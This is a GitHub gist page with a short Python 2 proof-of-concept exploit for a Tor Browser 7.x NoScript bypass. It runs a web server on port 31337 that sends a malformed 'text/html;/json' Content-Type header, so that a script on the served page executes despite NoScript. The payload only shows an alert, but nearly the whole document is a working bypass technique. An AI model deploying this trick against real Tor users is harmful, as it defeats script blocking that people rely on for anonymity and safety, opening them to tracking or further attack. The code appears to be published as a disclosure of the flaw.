Forked from x0rz/TorBrowser_7.x_NoScript_bypass.py
Created
September 13, 2018 10:50
-
-
Save MrMugiwara/6ab82a3f85ffbed45a1ca611eb0e9866 to your computer and use it in GitHub Desktop.
Tor Browser 7.x NoScript bypass vulnerability https://twitter.com/Zerodium/status/1039127214602641409
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer | |
PORT_NUMBER = 31337 | |
class myHandler(BaseHTTPRequestHandler): | |
#Handler for the GET requests | |
def do_GET(self): | |
self.send_response(200) | |
self.send_header('Content-type','text/html;/json') # Here is where the magic happens | |
self.end_headers() | |
self.wfile.write("<html>Tor Browser 7.x PoC<script>alert('NoScript bypass')</script></html>") | |
return | |
try: | |
server = HTTPServer(('', PORT_NUMBER), myHandler) | |
print 'Started httpserver on port ' , PORT_NUMBER | |
server.serve_forever() | |
except KeyboardInterrupt: | |
print '^C received, shutting down the web server' | |
server.socket.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment